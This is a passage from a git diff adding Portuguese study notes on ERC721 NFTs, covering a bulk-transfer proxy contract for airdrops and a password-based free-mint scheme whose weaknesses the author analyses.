"b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/35.png" new file mode 100644 index 000000000..09eacd2c2 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/35.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/4.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/4.png" new file mode 100644 index 000000000..038a05bf0 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/4.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/5.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/5.png" new file mode 100644 index 000000000..339e2ff27 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/5.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/6.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/6.png" new file mode 100644 index 000000000..6b2b21f14 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/6.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/7.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/7.png" new file mode 100644 index 000000000..3fc262ebd Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/7.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/8.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/8.png" new file mode 100644 index 000000000..1ab577101 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/8.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/9.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/9.png" new file mode 100644 index 000000000..10c261bb9 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/9.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/Untitled.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/Untitled.png" new file mode 100644 index 000000000..b2e69ebe5 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/Untitled.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_.png" new file mode 100644 index 000000000..d009c226d Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_1.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_1.png" new file mode 100644 index 000000000..1bde08b6e Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_1.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_10.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_10.png" new file mode 100644 index 000000000..5a9a9b349 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_10.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_11.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_11.png" new file mode 100644 index 000000000..2dd15544d Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_11.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_12.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_12.png" new file mode 100644 index 000000000..4045a28e4 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_12.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_13.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_13.png" new file mode 100644 index 000000000..21551acf6 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_13.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_14.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_14.png" new file mode 100644 index 000000000..6ab56294d Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_14.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_2.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_2.png" new file mode 100644 index 000000000..6c14e7624 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_2.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_3.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_3.png" new file mode 100644 index 000000000..9a5fe1a79 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_3.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_4.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_4.png" new file mode 100644 index 000000000..0d02666af Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_4.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_5.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_5.png" new file mode 100644 index 000000000..a96467c4a Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_5.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_6.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_6.png" new file mode 100644 index 000000000..543dc9da7 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_6.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_7.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_7.png" new file mode 100644 index 000000000..e488b87e9 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_7.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_8.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_8.png" new file mode 100644 index 000000000..db650494f Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_8.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_9.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_9.png" new file mode 100644 index 000000000..a80c1d54d Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/_safeTransferFrom()\344\275\277\347\224\250\344\273\243\347\220\206\350\275\254\347\247\273NFT_9.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/setApprovalForAll\357\274\210\357\274\211\347\232\204\345\256\236\344\276\213.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/setApprovalForAll\357\274\210\357\274\211\347\232\204\345\256\236\344\276\213.png" new file mode 100644 index 000000000..2d461448e Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/img/setApprovalForAll\357\274\210\357\274\211\347\232\204\345\256\236\344\276\213.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/setApprovalForAll\357\274\210\357\274\211\347\232\204\345\256\236\344\276\213.md" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/setApprovalForAll\357\274\210\357\274\211\347\232\204\345\256\236\344\276\213.md" new file mode 100644 index 000000000..21e4e2216 --- /dev/null +++ "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/setApprovalForAll\357\274\210\357\274\211\347\232\204\345\256\236\344\276\213.md" @@ -0,0 +1,113 @@ +# Exemplo de setApprovalForAll() + +O contrato padrão ERC721 não fornece uma interface para transferir em massa NFTs para endereços diferentes. Se o projeto deseja fazer um airdrop para usuários em uma lista branca, o contrato de proxy em conjunto com a função setApprovalForAll() oferece uma solução. + +Introdução básica ao contrato de interface: + +[Solidity8.0全面精通-42-接口合约_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1fS4y127BX/?spm_id_from=333.788&vd_source=8c3c6813b187818a0ba1a67277a795d2) + +Você pode consultar os seguintes vídeos para entender o princípio do airdrop: + +[https://www.youtube.com/watch?v=-0nU2usv4S4&t=2s](https://www.youtube.com/watch?v=-0nU2usv4S4&t=2s) + +[https://www.youtube.com/watch?v=M7ThuAS47Cc](https://www.youtube.com/watch?v=M7ThuAS47Cc) + +Contrato usado para o airdrop: + +```solidity +/** + *Submitted for verification at polygonscan.com on 2022-06-23 +*/ + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; +interface BC_Interface { + function safeTransferFrom( + address from, + address to, + uint256 tokenId + ) external; + + function symbol() external returns (string memory); +} + +contract BanaCatBot { + BC_Interface public BanaCat; + string public symbol; + + function setInterfaceContract(BC_Interface _addr) external{ + BanaCat = _addr; + } + + function bulkTransfer(address[] calldata addrList, uint[] calldata nftlist) external { + require(addrList.length == nftlist.length, "length doesn't match"); + for (uint i = 0; i < addrList.length; i++){ + BanaCat.safeTransferFrom(msg.sender, addrList[i], nftlist[i]); + } + } + function showSymbol() external{ + symbol = BanaCat.symbol(); + } + +} +``` + +O contrato também foi disponibilizado na rede Polygon e pode ser usado diretamente. + +[https://polygonscan.com/address/0x2A6dFC4C69a716b7F02b55CE76432226AefCB193#code](https://polygonscan.com/address/0x2A6dFC4C69a716b7F02b55CE76432226AefCB193#code) + +# Como usar + +**Observação: Durante o processo, o contrato BanaCatNFT pode ser substituído pelo contrato principal desejado para a transferência em massa de NFTs.** + +1. Chame a função `setApprovalForAll()` no contrato principal para autorizar o contrato de proxy que fornece a funcionalidade de transferência em massa de NFTs. + +Esta etapa é concluída no contrato principal do NFT, autorizando todos os NFTs em seu endereço para o contrato de proxy, para que ele tenha permissão para transferi-los. + +[Polygon Transaction Hash (Txhash) Details | PolygonScan](https://polygonscan.com/tx/0x92342888a4ecbe3775fe920c7efc9cab1eb5befe643c955d9a7bc786cc6e29a5) + +2. Chame a função `setInterfaceContract()` no contrato de proxy para definir o endereço do contrato BanaCatNFT como a interface de destino do contrato de proxy. + +O objetivo desta etapa é informar ao contrato de proxy de qual contrato principal de NFT ele deve transferir os NFTs. + +[Polygon Transaction Hash (Txhash) Details | PolygonScan](https://polygonscan.com/tx/0x56f289faaab56c3cb1ac1401f970a23c9f79d0c193d0e76d9d3e049494c37f03#eventlog) + +3. Construa as listas `NFTList` e `addressList` para iniciar a transação. + + ![Untitled](./img/setApprovalForAll()的实例.png) + +Aqui está um pequeno problema que precisa ser observado: os dois parâmetros da função `bulkTransfer()` podem variar dependendo do contexto de execução da função. + +1. Implante no Remix e envie a transação no backend do Remix, a forma dos parâmetros é: + +addrList: ["address1", "address2", ...] (os endereços são colocados entre aspas duplas e separados por vírgula) por exemplo + +```solidity +["0x204Eb0dDD556Fc33805A53BA29572B349Ea3c288","0xcd06Db13ACff23EEa734f771ed52cE59642E52b1",......] +``` + +nftlist: [tokenID1, tokenID2, ...] (os tokenIDs são separados por vírgula) + +```solidity +[1,2,3,......] +``` + +2. Implante e envie a transação por meio de RPC local: igual ao acima +3. Inicie a transação no navegador polyscan: + +addrList: [address1, address2, ...] (os endereços não precisam de aspas duplas e são separados por vírgula) por exemplo + +```solidity +[0x204Eb0dDD556Fc33805A53BA29572B349Ea3c288,0xcd06Db13ACff23EEa734f771ed52cE59642E52b1,......] +``` + +nftlist: [tokenID1, tokenID2, ...] (os tokenIDs são separados por vírgula, ‼️**não pode haver espaços entre os tokenIDs‼️**) + +```solidity +[1,2,3,......] +``` + +A transação final terá a seguinte aparência: + +[Polygon Transaction Hash (Txhash) Details | PolygonScan](https://polygonscan.com/tx/0xa57405133607002ef92260f91ee8f56001fcabe0c34cd9c4c77661d9b893c2f0). + diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/BanaCat NFT Contract_03.md" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/BanaCat NFT Contract_03.md" new file mode 100644 index 000000000..e2f77f2a6 --- /dev/null +++ "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/BanaCat NFT Contract_03.md" @@ -0,0 +1,83 @@ +# Contrato BanaCat NFT (3/3) + +# Sobre o BanaCatNFT + +O projeto BanaCat é uma coleção de arte digital de avatar implantada na blockchain Polygon. + +Link do projeto: [BanaCato_O - Collection | OpenSea](https://opensea.io/collection/banacat-v2) + +Endereço do contrato: https://polygonscan.com/address/0xd2bc5c3990c06ccd26f10a3e9d93b19450136c8d#code + +Além disso, com base nesta arte digital, foram criados pacotes de emojis relacionados. Atualmente, um desses pacotes já está disponível na loja de emojis do WeChat. Link do pacote de emojis: [香蕉猫看戏篇](https://sticker.weixin.qq.com/cgi-bin/mmemoticon-bin/emoticonview?oper=single&t=shop/detail&productid=aL2PCfwK/89qO7sF6/+I+UDhfwEjhec2ZNvdnLLJRd/N7QVyYnUnFpeB0t9OOOGqFiGlj08OJVil+/ruMQmJp3eFNlkqDVcbCJC9A4/2eWbE=) + +--- + +Este artigo explora o canal especial de mint incorporado no BanaCatNFT. Antes de lançar o BanaCatNFT, devido à falta de divulgação prévia e coleta de whitelist, mas para permitir que o projeto seja lançado o mais rápido possível e reduzir a barreira de acesso dos usuários, em vez de usar uma lista de whitelist tradicional ou uma árvore de Merkle, o BanaCatNFT da primeira fase usa senhas para realizar o mint. A seguir, analisaremos as vantagens e desvantagens desse esquema especial de freeMint. + +Ideia geral: Defina uma matriz de senhas com comprimento 5 para registrar 5 senhas diferentes correspondentes a diferentes cenários de mint. Cada senha pode ser configurada para corresponder a uma quantidade específica de NFTs que podem ser mintados. Quando o usuário conhece a senha, ele a insere em um canal especial e, se a senha estiver correta, o NFT é atribuído ao usuário sem a necessidade de pagamento. + +# Configurando senhas + +Defina uma estrutura de dados para informações de senha e, em seguida, defina uma matriz para armazenar essas informações de senha. + +![Untitled](./img/Untitled.png) + +`showSecretattributes()`: _ID corresponde ao índice da senha na matriz, secret corresponde à própria senha e supplyAmount corresponde à quantidade de NFTs que podem ser mintados com essa senha. + +Observação: Para alterar as propriedades de senhas diferentes no mesmo índice da matriz, é necessário primeiro esgotar a quantidade restante de NFTs da senha anterior. + +![Untitled](./img/1.png) + +`setMaxTokenAmountForEachAddress()`: Define o número máximo de NFTs que um único endereço pode mintar ao usar o canal especial. + +![Untitled](./img/2.png) + +# Verificando senhas + +`checkSecret()`: Compara userInput com as senhas já configuradas na matriz. Se uma senha correspondente for encontrada, o loop é interrompido. + +![Untitled](./img/3.png) + +`isEqual()`: Compara se duas strings de entrada são iguais. Como a linguagem Solidity não possui uma sintaxe direta para comparar se duas strings são iguais, essa função compara os valores hash das strings para verificar se são iguais. + +![Untitled](./img/4.png) + +# Mint pelo canal especial + +`specialMint_tunnel()`: Usa as funções de verificação acima para verificar a senha inserida pelo usuário e, se aprovada, atribui o NFT à conta atual. + +![Untitled](./img/5.png) + +Exemplo de transação de mint pelo canal especial + +[Polygon Transaction Hash (Txhash) Details | PolygonScan](https://polygonscan.com/tx/0xc50d4022ff5a9e3b906ede41cf014a55bfe93d901711e3514f844778d31e9abd) + +# Visualizando as propriedades das senhas + +`showSecretattributes()`: Visualiza a senha com base no número de senha fornecido. Apenas o proprietário pode visualizar (aqui eu me coloquei em uma armadilha) + +![Untitled](./img/6.png) + +`getRemainingtokenAmount()`: Visualiza quantos NFTs ainda podem ser mintados com a senha atual. + +![Untitled](./img/7.png) + +A armadilha que eu me coloquei: `showSecretattributes()` e `getRemainingtokenAmount()` são métodos de visualização (apenas leitura) e são definidos como onlyOwner. Depois de implantados no Remix, eles podem ser visualizados, mas esses dois métodos não estão disponíveis no navegador Polyscan. + +# Vantagens e desvantagens do mecanismo de whitelist de senhas + +Vantagens: Não é necessário coletar uma whitelist, qualquer pessoa que conheça a senha pode mintar gratuitamente, pode ser usado para eventos temporários. + +Desvantagens: Até agora, as desvantagens são mais evidentes. + +1. Qualquer pessoa que conheça a senha pode mintar, não importa quem seja. Quando alguém que conhece a senha a divulga, a situação se torna incontrolável, a menos que seja intencional por parte do projeto. +2. A restrição na quantidade de mint por endereço "não impede os bons, mas impede os maus". Apenas dois endereços são necessários para esgotar os NFTs do projeto. +3. As senhas configuradas são exibidas em texto claro nos registros de transações, o que torna necessário definir senhas temporárias. + +# Melhorias: Combinação do mecanismo de verificação de whitelist de Merkle Tree e senhas + +- O mecanismo de verificação de whitelist de Merkle Tree consiste em fazer o hash de cada par de endereços da whitelist para gerar uma raiz de árvore, armazenando apenas essa raiz no contrato, em vez de armazenar toda a whitelist na blockchain. Esse mecanismo de verificação pode economizar muito nos custos de emissão. Uma solução que combina o mecanismo de verificação de whitelist de Merkle Tree e senhas que consigo pensar é: definir um número fixo de senhas e substituí-las pelos endereços da whitelist para calcular a raiz da árvore de Merkle, e então armazenar essa raiz no contrato. As senhas podem ser distribuídas aos usuários por algum meio quando a whitelist é emitida. +- Substituir a matriz por um mapeamento, para economizar gás ao verificar a validade da senha, eliminando a necessidade de percorrer a matriz. + +# Cenário de aplicação: Integração de loteria de raspadinha e NFT. + diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/1.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/1.png" new file mode 100644 index 000000000..5a5aa2656 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2203_ShuxunOo/img/1.png" differ diff --git 